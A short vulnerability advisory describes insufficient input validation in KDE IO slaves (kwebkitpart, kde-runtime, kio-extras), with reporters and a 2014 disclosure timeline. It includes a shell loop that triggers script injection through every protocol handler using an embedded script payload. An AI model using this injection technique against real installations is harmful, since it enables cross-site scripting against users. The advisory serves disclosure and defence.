Vulnerability title: Insufficient Input Validation By IO Slaves In KDE e.V. KDE
|Affected version:||kwebkitpart <= 1.3.4, kde-runtime <= 4.14.3, kio-extras <= 5.1.1|
|Fixed version:||See links below|
|Reported by:||T. Brown and D. Burton|
The following code will trigger all vulnerable IO slaves:
for x in /usr/share/kde4/services/*.protocol do proto=`basename $x | cut -f 1 -d\.` kfmclient newTab "$proto://hhdhdhhdhdhdh.google.com/\"><script>alert(\"$proto\"+document.domain);</script>" done
Exploit code not required.
The vendor has released a patch for each affected product:
|15/10/2014||Vendor contacted with advisory details|
|25/11/2014||Vendor working on a fix|
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